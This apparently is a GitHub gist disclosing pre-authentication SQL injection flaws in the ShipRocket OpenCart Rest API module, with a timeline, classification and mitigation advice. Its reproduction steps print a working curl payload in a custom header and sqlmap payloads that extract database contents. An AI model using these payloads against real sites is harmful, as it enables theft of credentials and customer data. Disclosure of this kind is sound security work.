Skip to content

Instantly share code, notes, and snippets.

@mcdruid
Last active January 7, 2025 22:36
Show Gist options
  • Save mcdruid/3c9fc9bd4e882cee21f8a37998f56fce to your computer and use it in GitHub Desktop.
Save mcdruid/3c9fc9bd4e882cee21f8a37998f56fce to your computer and use it in GitHub Desktop.
ShipRocket OpenCart module SQL Injection vulnerability

Summary

The ShipRocket OpenCart Rest API module has multiple SQL Injection (SQLi) vulnerabilities.

The most serious of these allows an unauthenticated attacker to access any and all content stored in the database.

Via the SQLi vulnerability it's possible to compromise the site by exfiltrating admin session details / credentials.

Any Personally Identifiable Information (PII) and/or payment details stored in the site's database would also be vulnerable to exfiltration.

Timeline

  • 2025-01-02: mcdruid contacts ShipRocket to report vulnerability
  • 2025-01-03: ShipRocket replied acknowledging receipt, pending triage
  • 2025-01-06: more info sent to ShipRocket, who confirm they are "working on it"

Details of the Module

Vulnerability Classification

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  • CAPEC-66: SQL Injection
  • CAPEC-7: Blind SQL Injection
  • CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L 9.9 Critical
  • CVE: assignment pending

Steps to Reproduce

In the examples below, a simple OpenCart test site has been set up with the ShipRocket Rest API OpenCart module installed. No further configuration is necessary.

Example exploit which sends a malicious payload in a custom HTTP header:

$ curl -si http://opencart.ddev.site/index.php?route=extension/shiprocket/module/restapi -H 'x-key: 0' -H "x-username: 1' OR (SELECT 1 FROM (SELECT COUNT(*),CONCAT('~',(SELECT VERSION()),'~',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)||'" | grep -oP '~.*?~'

~10.11.9-MariaDB-ubu2204-log~
~',(SELECT VERSION()),'~

Note that no authentication is required. This example uses an error-based vector to extract information from the database.

If the display of errors has been disabled on the site (it seems to be enabled by default), it's possible to use blind SQLi techniques to extract information.

In the OpenCart 3 version, the vulnerable custom header is x-public.

The sqlmap tool ( https://sqlmap.org/ ) enumerates a number of possible attack techniques for one of the vectors (in v4):

sqlmap -u http://opencart.ddev.site/index.php?route=extension/shiprocket/module/restapi -H 'x-username: foo*' -H 'x-key: bar' --ignore-code=401

---
Parameter: x-username #1* ((custom) HEADER)
	Type: boolean-based blind
	Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
	Payload: foo' OR NOT 4348=4348#
	Vector: OR NOT [INFERENCE]#

	Type: error-based
	Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
	Payload: foo' AND (SELECT 9077 FROM(SELECT COUNT(*),CONCAT(0x7178627a71,(SELECT (ELT(9077=9077,1))),0x7178767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- DPRZ
	Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

	Type: time-based blind
	Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
	Payload: foo' AND (SELECT 8957 FROM (SELECT(SLEEP(5)))UWGH)-- naLx
	Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---

It's possible to use these techniques to dump any information from the database, including the admin user credentials / session details.

There is at least one other SQLi vulnerability in the module, but in order to exploit it the attacker would need to be able to successfully authenticate.

For example, the filters[sort] GET param when action=getProducts is injectable.

In the v3 version of the module, any key/value can be passed in the filters GET param and these are vulnerable to SQLi in certain action methods, for example action=getOrders&filters[order_id]=foo.

The vulnerable HTTP headers are the most serious problem though, as these are pre-authentication.

Mitigation

OpenCart's database API is very basic and does not employ prepared statements or parameterised inputs to queries.

Therefore modules must appropriately validate all unsafe input which is used to assemble SQL queries.

This is typically done in two ways; either the value is cast to a numeric format, or the database driver's escape method is used.

An example from OpenCart's own code that uses both techniques:

$this->db->query("INSERT INTO `" . DB_PREFIX . "customer_transaction` SET `customer_id` = '" . (int)$customer_id . "', `order_id` = '" . (int)$order_id . "', `description` = '" . $this->db->escape($description) . "', `amount` = '" . (float)$amount . "', `date_added` = NOW()");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment